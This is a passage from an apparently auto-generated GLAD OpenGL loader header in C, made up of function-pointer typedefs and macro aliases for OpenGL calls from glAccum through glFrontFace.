typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI3UIPROC)(GLuint index, GLuint x, GLuint y, GLuint z);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI3UIVPROC)(GLuint index, const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4BVPROC)(GLuint index, const GLbyte * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4IPROC)(GLuint index, GLint x, GLint y, GLint z, GLint w);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4IVPROC)(GLuint index, const GLint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4SVPROC)(GLuint index, const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4UBVPROC)(GLuint index, const GLubyte * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4UIPROC)(GLuint index, GLuint x, GLuint y, GLuint z, GLuint w);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4UIVPROC)(GLuint index, const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBI4USVPROC)(GLuint index, const GLushort * v);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBIPOINTERPROC)(GLuint index, GLint size, GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP1UIPROC)(GLuint index, GLenum type, GLboolean normalized, GLuint value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP1UIVPROC)(GLuint index, GLenum type, GLboolean normalized, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP2UIPROC)(GLuint index, GLenum type, GLboolean normalized, GLuint value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP2UIVPROC)(GLuint index, GLenum type, GLboolean normalized, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP3UIPROC)(GLuint index, GLenum type, GLboolean normalized, GLuint value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP3UIVPROC)(GLuint index, GLenum type, GLboolean normalized, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP4UIPROC)(GLuint index, GLenum type, GLboolean normalized, GLuint value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBP4UIVPROC)(GLuint index, GLenum type, GLboolean normalized, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLVERTEXATTRIBPOINTERPROC)(GLuint index, GLint size, GLenum type, GLboolean normalized, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLVERTEXP2UIPROC)(GLenum type, GLuint value);
typedef void (GLAD_API_PTR *PFNGLVERTEXP2UIVPROC)(GLenum type, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLVERTEXP3UIPROC)(GLenum type, GLuint value);
typedef void (GLAD_API_PTR *PFNGLVERTEXP3UIVPROC)(GLenum type, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLVERTEXP4UIPROC)(GLenum type, GLuint value);
typedef void (GLAD_API_PTR *PFNGLVERTEXP4UIVPROC)(GLenum type, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLVERTEXPOINTERPROC)(GLint size, GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLVIEWPORTPROC)(GLint x, GLint y, GLsizei width, GLsizei height);
typedef void (GLAD_API_PTR *PFNGLWAITSYNCPROC)(GLsync sync, GLbitfield flags, GLuint64 timeout);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2DPROC)(GLdouble x, GLdouble y);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2FPROC)(GLfloat x, GLfloat y);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2IPROC)(GLint x, GLint y);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2SPROC)(GLshort x, GLshort y);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS2SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3DPROC)(GLdouble x, GLdouble y, GLdouble z);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3FPROC)(GLfloat x, GLfloat y, GLfloat z);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3IPROC)(GLint x, GLint y, GLint z);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3SPROC)(GLshort x, GLshort y, GLshort z);
typedef void (GLAD_API_PTR *PFNGLWINDOWPOS3SVPROC)(const GLshort * v);
GLAD_API_CALL PFNGLACCUMPROC glad_glAccum;
#define glAccum glad_glAccum
GLAD_API_CALL PFNGLACTIVETEXTUREPROC glad_glActiveTexture;
#define glActiveTexture glad_glActiveTexture
GLAD_API_CALL PFNGLALPHAFUNCPROC glad_glAlphaFunc;
#define glAlphaFunc glad_glAlphaFunc
GLAD_API_CALL PFNGLARETEXTURESRESIDENTPROC glad_glAreTexturesResident;
#define glAreTexturesResident glad_glAreTexturesResident
GLAD_API_CALL PFNGLARRAYELEMENTPROC glad_glArrayElement;
#define glArrayElement glad_glArrayElement
GLAD_API_CALL PFNGLATTACHSHADERPROC glad_glAttachShader;
#define glAttachShader glad_glAttachShader
GLAD_API_CALL PFNGLBEGINPROC glad_glBegin;
#define glBegin glad_glBegin
GLAD_API_CALL PFNGLBEGINCONDITIONALRENDERPROC glad_glBeginConditionalRender;
#define glBeginConditionalRender glad_glBeginConditionalRender
GLAD_API_CALL PFNGLBEGINQUERYPROC glad_glBeginQuery;
#define glBeginQuery glad_glBeginQuery
GLAD_API_CALL PFNGLBEGINTRANSFORMFEEDBACKPROC glad_glBeginTransformFeedback;
#define glBeginTransformFeedback glad_glBeginTransformFeedback
GLAD_API_CALL PFNGLBINDATTRIBLOCATIONPROC glad_glBindAttribLocation;
#define glBindAttribLocation glad_glBindAttribLocation
GLAD_API_CALL PFNGLBINDBUFFERPROC glad_glBindBuffer;
#define glBindBuffer glad_glBindBuffer
GLAD_API_CALL PFNGLBINDBUFFERBASEPROC glad_glBindBufferBase;
#define glBindBufferBase glad_glBindBufferBase
GLAD_API_CALL PFNGLBINDBUFFERRANGEPROC glad_glBindBufferRange;
#define glBindBufferRange glad_glBindBufferRange
GLAD_API_CALL PFNGLBINDFRAGDATALOCATIONPROC glad_glBindFragDataLocation;
#define glBindFragDataLocation glad_glBindFragDataLocation
GLAD_API_CALL PFNGLBINDFRAGDATALOCATIONINDEXEDPROC glad_glBindFragDataLocationIndexed;
#define glBindFragDataLocationIndexed glad_glBindFragDataLocationIndexed
GLAD_API_CALL PFNGLBINDFRAMEBUFFERPROC glad_glBindFramebuffer;
#define glBindFramebuffer glad_glBindFramebuffer
GLAD_API_CALL PFNGLBINDFRAMEBUFFEREXTPROC glad_glBindFramebufferEXT;
#define glBindFramebufferEXT glad_glBindFramebufferEXT
GLAD_API_CALL PFNGLBINDRENDERBUFFERPROC glad_glBindRenderbuffer;
#define glBindRenderbuffer glad_glBindRenderbuffer
GLAD_API_CALL PFNGLBINDRENDERBUFFEREXTPROC glad_glBindRenderbufferEXT;
#define glBindRenderbufferEXT glad_glBindRenderbufferEXT
GLAD_API_CALL PFNGLBINDSAMPLERPROC glad_glBindSampler;
#define glBindSampler glad_glBindSampler
GLAD_API_CALL PFNGLBINDTEXTUREPROC glad_glBindTexture;
#define glBindTexture glad_glBindTexture
GLAD_API_CALL PFNGLBINDVERTEXARRAYPROC glad_glBindVertexArray;
#define glBindVertexArray glad_glBindVertexArray
GLAD_API_CALL PFNGLBITMAPPROC glad_glBitmap;
#define glBitmap glad_glBitmap
GLAD_API_CALL PFNGLBLENDCOLORPROC glad_glBlendColor;
#define glBlendColor glad_glBlendColor
GLAD_API_CALL PFNGLBLENDEQUATIONPROC glad_glBlendEquation;
#define glBlendEquation glad_glBlendEquation
GLAD_API_CALL PFNGLBLENDEQUATIONSEPARATEPROC glad_glBlendEquationSeparate;
#define glBlendEquationSeparate glad_glBlendEquationSeparate
GLAD_API_CALL PFNGLBLENDFUNCPROC glad_glBlendFunc;
#define glBlendFunc glad_glBlendFunc
GLAD_API_CALL PFNGLBLENDFUNCSEPARATEPROC glad_glBlendFuncSeparate;
#define glBlendFuncSeparate glad_glBlendFuncSeparate
GLAD_API_CALL PFNGLBLITFRAMEBUFFERPROC glad_glBlitFramebuffer;
#define glBlitFramebuffer glad_glBlitFramebuffer
GLAD_API_CALL PFNGLBLITFRAMEBUFFEREXTPROC glad_glBlitFramebufferEXT;
#define glBlitFramebufferEXT glad_glBlitFramebufferEXT
GLAD_API_CALL PFNGLBUFFERDATAPROC glad_glBufferData;
#define glBufferData glad_glBufferData
GLAD_API_CALL PFNGLBUFFERSUBDATAPROC glad_glBufferSubData;
#define glBufferSubData glad_glBufferSubData
GLAD_API_CALL PFNGLCALLLISTPROC glad_glCallList;
#define glCallList glad_glCallList
GLAD_API_CALL PFNGLCALLLISTSPROC glad_glCallLists;
#define glCallLists glad_glCallLists
GLAD_API_CALL PFNGLCHECKFRAMEBUFFERSTATUSPROC glad_glCheckFramebufferStatus;
#define glCheckFramebufferStatus glad_glCheckFramebufferStatus
GLAD_API_CALL PFNGLCHECKFRAMEBUFFERSTATUSEXTPROC glad_glCheckFramebufferStatusEXT;
#define glCheckFramebufferStatusEXT glad_glCheckFramebufferStatusEXT
GLAD_API_CALL PFNGLCLAMPCOLORPROC glad_glClampColor;
#define glClampColor glad_glClampColor
GLAD_API_CALL PFNGLCLEARPROC glad_glClear;
#define glClear glad_glClear
GLAD_API_CALL PFNGLCLEARACCUMPROC glad_glClearAccum;
#define glClearAccum glad_glClearAccum
GLAD_API_CALL PFNGLCLEARBUFFERFIPROC glad_glClearBufferfi;
#define glClearBufferfi glad_glClearBufferfi
GLAD_API_CALL PFNGLCLEARBUFFERFVPROC glad_glClearBufferfv;
#define glClearBufferfv glad_glClearBufferfv
GLAD_API_CALL PFNGLCLEARBUFFERIVPROC glad_glClearBufferiv;
#define glClearBufferiv glad_glClearBufferiv
GLAD_API_CALL PFNGLCLEARBUFFERUIVPROC glad_glClearBufferuiv;
#define glClearBufferuiv glad_glClearBufferuiv
GLAD_API_CALL PFNGLCLEARCOLORPROC glad_glClearColor;
#define glClearColor glad_glClearColor
GLAD_API_CALL PFNGLCLEARDEPTHPROC glad_glClearDepth;
#define glClearDepth glad_glClearDepth
GLAD_API_CALL PFNGLCLEARINDEXPROC glad_glClearIndex;
#define glClearIndex glad_glClearIndex
GLAD_API_CALL PFNGLCLEARSTENCILPROC glad_glClearStencil;
#define glClearStencil glad_glClearStencil
GLAD_API_CALL PFNGLCLIENTACTIVETEXTUREPROC glad_glClientActiveTexture;
#define glClientActiveTexture glad_glClientActiveTexture
GLAD_API_CALL PFNGLCLIENTWAITSYNCPROC glad_glClientWaitSync;
#define glClientWaitSync glad_glClientWaitSync
GLAD_API_CALL PFNGLCLIPPLANEPROC glad_glClipPlane;
#define glClipPlane glad_glClipPlane
GLAD_API_CALL PFNGLCOLOR3BPROC glad_glColor3b;
#define glColor3b glad_glColor3b
GLAD_API_CALL PFNGLCOLOR3BVPROC glad_glColor3bv;
#define glColor3bv glad_glColor3bv
GLAD_API_CALL PFNGLCOLOR3DPROC glad_glColor3d;
#define glColor3d glad_glColor3d
GLAD_API_CALL PFNGLCOLOR3DVPROC glad_glColor3dv;
#define glColor3dv glad_glColor3dv
GLAD_API_CALL PFNGLCOLOR3FPROC glad_glColor3f;
#define glColor3f glad_glColor3f
GLAD_API_CALL PFNGLCOLOR3FVPROC glad_glColor3fv;
#define glColor3fv glad_glColor3fv
GLAD_API_CALL PFNGLCOLOR3IPROC glad_glColor3i;
#define glColor3i glad_glColor3i
GLAD_API_CALL PFNGLCOLOR3IVPROC glad_glColor3iv;
#define glColor3iv glad_glColor3iv
GLAD_API_CALL PFNGLCOLOR3SPROC glad_glColor3s;
#define glColor3s glad_glColor3s
GLAD_API_CALL PFNGLCOLOR3SVPROC glad_glColor3sv;
#define glColor3sv glad_glColor3sv
GLAD_API_CALL PFNGLCOLOR3UBPROC glad_glColor3ub;
#define glColor3ub glad_glColor3ub
GLAD_API_CALL PFNGLCOLOR3UBVPROC glad_glColor3ubv;
#define glColor3ubv glad_glColor3ubv
GLAD_API_CALL PFNGLCOLOR3UIPROC glad_glColor3ui;
#define glColor3ui glad_glColor3ui
GLAD_API_CALL PFNGLCOLOR3UIVPROC glad_glColor3uiv;
#define glColor3uiv glad_glColor3uiv
GLAD_API_CALL PFNGLCOLOR3USPROC glad_glColor3us;
#define glColor3us glad_glColor3us
GLAD_API_CALL PFNGLCOLOR3USVPROC glad_glColor3usv;
#define glColor3usv glad_glColor3usv
GLAD_API_CALL PFNGLCOLOR4BPROC glad_glColor4b;
#define glColor4b glad_glColor4b
GLAD_API_CALL PFNGLCOLOR4BVPROC glad_glColor4bv;
#define glColor4bv glad_glColor4bv
GLAD_API_CALL PFNGLCOLOR4DPROC glad_glColor4d;
#define glColor4d glad_glColor4d
GLAD_API_CALL PFNGLCOLOR4DVPROC glad_glColor4dv;
#define glColor4dv glad_glColor4dv
GLAD_API_CALL PFNGLCOLOR4FPROC glad_glColor4f;
#define glColor4f glad_glColor4f
GLAD_API_CALL PFNGLCOLOR4FVPROC glad_glColor4fv;
#define glColor4fv glad_glColor4fv
GLAD_API_CALL PFNGLCOLOR4IPROC glad_glColor4i;
#define glColor4i glad_glColor4i
GLAD_API_CALL PFNGLCOLOR4IVPROC glad_glColor4iv;
#define glColor4iv glad_glColor4iv
GLAD_API_CALL PFNGLCOLOR4SPROC glad_glColor4s;
#define glColor4s glad_glColor4s
GLAD_API_CALL PFNGLCOLOR4SVPROC glad_glColor4sv;
#define glColor4sv glad_glColor4sv
GLAD_API_CALL PFNGLCOLOR4UBPROC glad_glColor4ub;
#define glColor4ub glad_glColor4ub
GLAD_API_CALL PFNGLCOLOR4UBVPROC glad_glColor4ubv;
#define glColor4ubv glad_glColor4ubv
GLAD_API_CALL PFNGLCOLOR4UIPROC glad_glColor4ui;
#define glColor4ui glad_glColor4ui
GLAD_API_CALL PFNGLCOLOR4UIVPROC glad_glColor4uiv;
#define glColor4uiv glad_glColor4uiv
GLAD_API_CALL PFNGLCOLOR4USPROC glad_glColor4us;
#define glColor4us glad_glColor4us
GLAD_API_CALL PFNGLCOLOR4USVPROC glad_glColor4usv;
#define glColor4usv glad_glColor4usv
GLAD_API_CALL PFNGLCOLORMASKPROC glad_glColorMask;
#define glColorMask glad_glColorMask
GLAD_API_CALL PFNGLCOLORMASKIPROC glad_glColorMaski;
#define glColorMaski glad_glColorMaski
GLAD_API_CALL PFNGLCOLORMATERIALPROC glad_glColorMaterial;
#define glColorMaterial glad_glColorMaterial
GLAD_API_CALL PFNGLCOLORP3UIPROC glad_glColorP3ui;
#define glColorP3ui glad_glColorP3ui
GLAD_API_CALL PFNGLCOLORP3UIVPROC glad_glColorP3uiv;
#define glColorP3uiv glad_glColorP3uiv
GLAD_API_CALL PFNGLCOLORP4UIPROC glad_glColorP4ui;
#define glColorP4ui glad_glColorP4ui
GLAD_API_CALL PFNGLCOLORP4UIVPROC glad_glColorP4uiv;
#define glColorP4uiv glad_glColorP4uiv
GLAD_API_CALL PFNGLCOLORPOINTERPROC glad_glColorPointer;
#define glColorPointer glad_glColorPointer
GLAD_API_CALL PFNGLCOMPILESHADERPROC glad_glCompileShader;
#define glCompileShader glad_glCompileShader
GLAD_API_CALL PFNGLCOMPRESSEDTEXIMAGE1DPROC glad_glCompressedTexImage1D;
#define glCompressedTexImage1D glad_glCompressedTexImage1D
GLAD_API_CALL PFNGLCOMPRESSEDTEXIMAGE2DPROC glad_glCompressedTexImage2D;
#define glCompressedTexImage2D glad_glCompressedTexImage2D
GLAD_API_CALL PFNGLCOMPRESSEDTEXIMAGE3DPROC glad_glCompressedTexImage3D;
#define glCompressedTexImage3D glad_glCompressedTexImage3D
GLAD_API_CALL PFNGLCOMPRESSEDTEXSUBIMAGE1DPROC glad_glCompressedTexSubImage1D;
#define glCompressedTexSubImage1D glad_glCompressedTexSubImage1D
GLAD_API_CALL PFNGLCOMPRESSEDTEXSUBIMAGE2DPROC glad_glCompressedTexSubImage2D;
#define glCompressedTexSubImage2D glad_glCompressedTexSubImage2D
GLAD_API_CALL PFNGLCOMPRESSEDTEXSUBIMAGE3DPROC glad_glCompressedTexSubImage3D;
#define glCompressedTexSubImage3D glad_glCompressedTexSubImage3D
GLAD_API_CALL PFNGLCOPYBUFFERSUBDATAPROC glad_glCopyBufferSubData;
#define glCopyBufferSubData glad_glCopyBufferSubData
GLAD_API_CALL PFNGLCOPYPIXELSPROC glad_glCopyPixels;
#define glCopyPixels glad_glCopyPixels
GLAD_API_CALL PFNGLCOPYTEXIMAGE1DPROC glad_glCopyTexImage1D;
#define glCopyTexImage1D glad_glCopyTexImage1D
GLAD_API_CALL PFNGLCOPYTEXIMAGE2DPROC glad_glCopyTexImage2D;
#define glCopyTexImage2D glad_glCopyTexImage2D
GLAD_API_CALL PFNGLCOPYTEXSUBIMAGE1DPROC glad_glCopyTexSubImage1D;
#define glCopyTexSubImage1D glad_glCopyTexSubImage1D
GLAD_API_CALL PFNGLCOPYTEXSUBIMAGE2DPROC glad_glCopyTexSubImage2D;
#define glCopyTexSubImage2D glad_glCopyTexSubImage2D
GLAD_API_CALL PFNGLCOPYTEXSUBIMAGE3DPROC glad_glCopyTexSubImage3D;
#define glCopyTexSubImage3D glad_glCopyTexSubImage3D
GLAD_API_CALL PFNGLCREATEPROGRAMPROC glad_glCreateProgram;
#define glCreateProgram glad_glCreateProgram
GLAD_API_CALL PFNGLCREATESHADERPROC glad_glCreateShader;
#define glCreateShader glad_glCreateShader
GLAD_API_CALL PFNGLCULLFACEPROC glad_glCullFace;
#define glCullFace glad_glCullFace
GLAD_API_CALL PFNGLDEBUGMESSAGECALLBACKARBPROC glad_glDebugMessageCallbackARB;
#define glDebugMessageCallbackARB glad_glDebugMessageCallbackARB
GLAD_API_CALL PFNGLDEBUGMESSAGECONTROLARBPROC glad_glDebugMessageControlARB;
#define glDebugMessageControlARB glad_glDebugMessageControlARB
GLAD_API_CALL PFNGLDEBUGMESSAGEINSERTARBPROC glad_glDebugMessageInsertARB;
#define glDebugMessageInsertARB glad_glDebugMessageInsertARB
GLAD_API_CALL PFNGLDELETEBUFFERSPROC glad_glDeleteBuffers;
#define glDeleteBuffers glad_glDeleteBuffers
GLAD_API_CALL PFNGLDELETEFRAMEBUFFERSPROC glad_glDeleteFramebuffers;
#define glDeleteFramebuffers glad_glDeleteFramebuffers
GLAD_API_CALL PFNGLDELETEFRAMEBUFFERSEXTPROC glad_glDeleteFramebuffersEXT;
#define glDeleteFramebuffersEXT glad_glDeleteFramebuffersEXT
GLAD_API_CALL PFNGLDELETELISTSPROC glad_glDeleteLists;
#define glDeleteLists glad_glDeleteLists
GLAD_API_CALL PFNGLDELETEPROGRAMPROC glad_glDeleteProgram;
#define glDeleteProgram glad_glDeleteProgram
GLAD_API_CALL PFNGLDELETEQUERIESPROC glad_glDeleteQueries;
#define glDeleteQueries glad_glDeleteQueries
GLAD_API_CALL PFNGLDELETERENDERBUFFERSPROC glad_glDeleteRenderbuffers;
#define glDeleteRenderbuffers glad_glDeleteRenderbuffers
GLAD_API_CALL PFNGLDELETERENDERBUFFERSEXTPROC glad_glDeleteRenderbuffersEXT;
#define glDeleteRenderbuffersEXT glad_glDeleteRenderbuffersEXT
GLAD_API_CALL PFNGLDELETESAMPLERSPROC glad_glDeleteSamplers;
#define glDeleteSamplers glad_glDeleteSamplers
GLAD_API_CALL PFNGLDELETESHADERPROC glad_glDeleteShader;
#define glDeleteShader glad_glDeleteShader
GLAD_API_CALL PFNGLDELETESYNCPROC glad_glDeleteSync;
#define glDeleteSync glad_glDeleteSync
GLAD_API_CALL PFNGLDELETETEXTURESPROC glad_glDeleteTextures;
#define glDeleteTextures glad_glDeleteTextures
GLAD_API_CALL PFNGLDELETEVERTEXARRAYSPROC glad_glDeleteVertexArrays;
#define glDeleteVertexArrays glad_glDeleteVertexArrays
GLAD_API_CALL PFNGLDEPTHFUNCPROC glad_glDepthFunc;
#define glDepthFunc glad_glDepthFunc
GLAD_API_CALL PFNGLDEPTHMASKPROC glad_glDepthMask;
#define glDepthMask glad_glDepthMask
GLAD_API_CALL PFNGLDEPTHRANGEPROC glad_glDepthRange;
#define glDepthRange glad_glDepthRange
GLAD_API_CALL PFNGLDETACHSHADERPROC glad_glDetachShader;
#define glDetachShader glad_glDetachShader
GLAD_API_CALL PFNGLDISABLEPROC glad_glDisable;
#define glDisable glad_glDisable
GLAD_API_CALL PFNGLDISABLECLIENTSTATEPROC glad_glDisableClientState;
#define glDisableClientState glad_glDisableClientState
GLAD_API_CALL PFNGLDISABLEVERTEXATTRIBARRAYPROC glad_glDisableVertexAttribArray;
#define glDisableVertexAttribArray glad_glDisableVertexAttribArray
GLAD_API_CALL PFNGLDISABLEIPROC glad_glDisablei;
#define glDisablei glad_glDisablei
GLAD_API_CALL PFNGLDRAWARRAYSPROC glad_glDrawArrays;
#define glDrawArrays glad_glDrawArrays
GLAD_API_CALL PFNGLDRAWARRAYSINSTANCEDPROC glad_glDrawArraysInstanced;
#define glDrawArraysInstanced glad_glDrawArraysInstanced
GLAD_API_CALL PFNGLDRAWBUFFERPROC glad_glDrawBuffer;
#define glDrawBuffer glad_glDrawBuffer
GLAD_API_CALL PFNGLDRAWBUFFERSPROC glad_glDrawBuffers;
#define glDrawBuffers glad_glDrawBuffers
GLAD_API_CALL PFNGLDRAWELEMENTSPROC glad_glDrawElements;
#define glDrawElements glad_glDrawElements
GLAD_API_CALL PFNGLDRAWELEMENTSBASEVERTEXPROC glad_glDrawElementsBaseVertex;
#define glDrawElementsBaseVertex glad_glDrawElementsBaseVertex
GLAD_API_CALL PFNGLDRAWELEMENTSINSTANCEDPROC glad_glDrawElementsInstanced;
#define glDrawElementsInstanced glad_glDrawElementsInstanced
GLAD_API_CALL PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXPROC glad_glDrawElementsInstancedBaseVertex;
#define glDrawElementsInstancedBaseVertex glad_glDrawElementsInstancedBaseVertex
GLAD_API_CALL PFNGLDRAWPIXELSPROC glad_glDrawPixels;
#define glDrawPixels glad_glDrawPixels
GLAD_API_CALL PFNGLDRAWRANGEELEMENTSPROC glad_glDrawRangeElements;
#define glDrawRangeElements glad_glDrawRangeElements
GLAD_API_CALL PFNGLDRAWRANGEELEMENTSBASEVERTEXPROC glad_glDrawRangeElementsBaseVertex;
#define glDrawRangeElementsBaseVertex glad_glDrawRangeElementsBaseVertex
GLAD_API_CALL PFNGLEDGEFLAGPROC glad_glEdgeFlag;
#define glEdgeFlag glad_glEdgeFlag
GLAD_API_CALL PFNGLEDGEFLAGPOINTERPROC glad_glEdgeFlagPointer;
#define glEdgeFlagPointer glad_glEdgeFlagPointer
GLAD_API_CALL PFNGLEDGEFLAGVPROC glad_glEdgeFlagv;
#define glEdgeFlagv glad_glEdgeFlagv
GLAD_API_CALL PFNGLENABLEPROC glad_glEnable;
#define glEnable glad_glEnable
GLAD_API_CALL PFNGLENABLECLIENTSTATEPROC glad_glEnableClientState;
#define glEnableClientState glad_glEnableClientState
GLAD_API_CALL PFNGLENABLEVERTEXATTRIBARRAYPROC glad_glEnableVertexAttribArray;
#define glEnableVertexAttribArray glad_glEnableVertexAttribArray
GLAD_API_CALL PFNGLENABLEIPROC glad_glEnablei;
#define glEnablei glad_glEnablei
GLAD_API_CALL PFNGLENDPROC glad_glEnd;
#define glEnd glad_glEnd
GLAD_API_CALL PFNGLENDCONDITIONALRENDERPROC glad_glEndConditionalRender;
#define glEndConditionalRender glad_glEndConditionalRender
GLAD_API_CALL PFNGLENDLISTPROC glad_glEndList;
#define glEndList glad_glEndList
GLAD_API_CALL PFNGLENDQUERYPROC glad_glEndQuery;
#define glEndQuery glad_glEndQuery
GLAD_API_CALL PFNGLENDTRANSFORMFEEDBACKPROC glad_glEndTransformFeedback;
#define glEndTransformFeedback glad_glEndTransformFeedback
GLAD_API_CALL PFNGLEVALCOORD1DPROC glad_glEvalCoord1d;
#define glEvalCoord1d glad_glEvalCoord1d
GLAD_API_CALL PFNGLEVALCOORD1DVPROC glad_glEvalCoord1dv;
#define glEvalCoord1dv glad_glEvalCoord1dv
GLAD_API_CALL PFNGLEVALCOORD1FPROC glad_glEvalCoord1f;
#define glEvalCoord1f glad_glEvalCoord1f
GLAD_API_CALL PFNGLEVALCOORD1FVPROC glad_glEvalCoord1fv;
#define glEvalCoord1fv glad_glEvalCoord1fv
GLAD_API_CALL PFNGLEVALCOORD2DPROC glad_glEvalCoord2d;
#define glEvalCoord2d glad_glEvalCoord2d
GLAD_API_CALL PFNGLEVALCOORD2DVPROC glad_glEvalCoord2dv;
#define glEvalCoord2dv glad_glEvalCoord2dv
GLAD_API_CALL PFNGLEVALCOORD2FPROC glad_glEvalCoord2f;
#define glEvalCoord2f glad_glEvalCoord2f
GLAD_API_CALL PFNGLEVALCOORD2FVPROC glad_glEvalCoord2fv;
#define glEvalCoord2fv glad_glEvalCoord2fv
GLAD_API_CALL PFNGLEVALMESH1PROC glad_glEvalMesh1;
#define glEvalMesh1 glad_glEvalMesh1
GLAD_API_CALL PFNGLEVALMESH2PROC glad_glEvalMesh2;
#define glEvalMesh2 glad_glEvalMesh2
GLAD_API_CALL PFNGLEVALPOINT1PROC glad_glEvalPoint1;
#define glEvalPoint1 glad_glEvalPoint1
GLAD_API_CALL PFNGLEVALPOINT2PROC glad_glEvalPoint2;
#define glEvalPoint2 glad_glEvalPoint2
GLAD_API_CALL PFNGLFEEDBACKBUFFERPROC glad_glFeedbackBuffer;
#define glFeedbackBuffer glad_glFeedbackBuffer
GLAD_API_CALL PFNGLFENCESYNCPROC glad_glFenceSync;
#define glFenceSync glad_glFenceSync
GLAD_API_CALL PFNGLFINISHPROC glad_glFinish;
#define glFinish glad_glFinish
GLAD_API_CALL PFNGLFLUSHPROC glad_glFlush;
#define glFlush glad_glFlush
GLAD_API_CALL PFNGLFLUSHMAPPEDBUFFERRANGEPROC glad_glFlushMappedBufferRange;
#define glFlushMappedBufferRange glad_glFlushMappedBufferRange
GLAD_API_CALL PFNGLFOGCOORDPOINTERPROC glad_glFogCoordPointer;
#define glFogCoordPointer glad_glFogCoordPointer
GLAD_API_CALL PFNGLFOGCOORDDPROC glad_glFogCoordd;
#define glFogCoordd glad_glFogCoordd
GLAD_API_CALL PFNGLFOGCOORDDVPROC glad_glFogCoorddv;
#define glFogCoorddv glad_glFogCoorddv
GLAD_API_CALL PFNGLFOGCOORDFPROC glad_glFogCoordf;
#define glFogCoordf glad_glFogCoordf
GLAD_API_CALL PFNGLFOGCOORDFVPROC glad_glFogCoordfv;
#define glFogCoordfv glad_glFogCoordfv
GLAD_API_CALL PFNGLFOGFPROC glad_glFogf;
#define glFogf glad_glFogf
GLAD_API_CALL PFNGLFOGFVPROC glad_glFogfv;
#define glFogfv glad_glFogfv
GLAD_API_CALL PFNGLFOGIPROC glad_glFogi;
#define glFogi glad_glFogi
GLAD_API_CALL PFNGLFOGIVPROC glad_glFogiv;
#define glFogiv glad_glFogiv
GLAD_API_CALL PFNGLFRAMEBUFFERRENDERBUFFERPROC glad_glFramebufferRenderbuffer;
#define glFramebufferRenderbuffer glad_glFramebufferRenderbuffer
GLAD_API_CALL PFNGLFRAMEBUFFERRENDERBUFFEREXTPROC glad_glFramebufferRenderbufferEXT;
#define glFramebufferRenderbufferEXT glad_glFramebufferRenderbufferEXT
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTUREPROC glad_glFramebufferTexture;
#define glFramebufferTexture glad_glFramebufferTexture
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTURE1DPROC glad_glFramebufferTexture1D;
#define glFramebufferTexture1D glad_glFramebufferTexture1D
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTURE1DEXTPROC glad_glFramebufferTexture1DEXT;
#define glFramebufferTexture1DEXT glad_glFramebufferTexture1DEXT
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTURE2DPROC glad_glFramebufferTexture2D;
#define glFramebufferTexture2D glad_glFramebufferTexture2D
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTURE2DEXTPROC glad_glFramebufferTexture2DEXT;
#define glFramebufferTexture2DEXT glad_glFramebufferTexture2DEXT
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTURE3DPROC glad_glFramebufferTexture3D;
#define glFramebufferTexture3D glad_glFramebufferTexture3D
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTURE3DEXTPROC glad_glFramebufferTexture3DEXT;
#define glFramebufferTexture3DEXT glad_glFramebufferTexture3DEXT
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTURELAYERPROC glad_glFramebufferTextureLayer;
#define glFramebufferTextureLayer glad_glFramebufferTextureLayer
GLAD_API_CALL PFNGLFRAMEBUFFERTEXTUREMULTIVIEWOVRPROC glad_glFramebufferTextureMultiviewOVR;
#define glFramebufferTextureMultiviewOVR glad_glFramebufferTextureMultiviewOVR
GLAD_API_CALL PFNGLFRONTFACEPROC glad_glFrontFace;
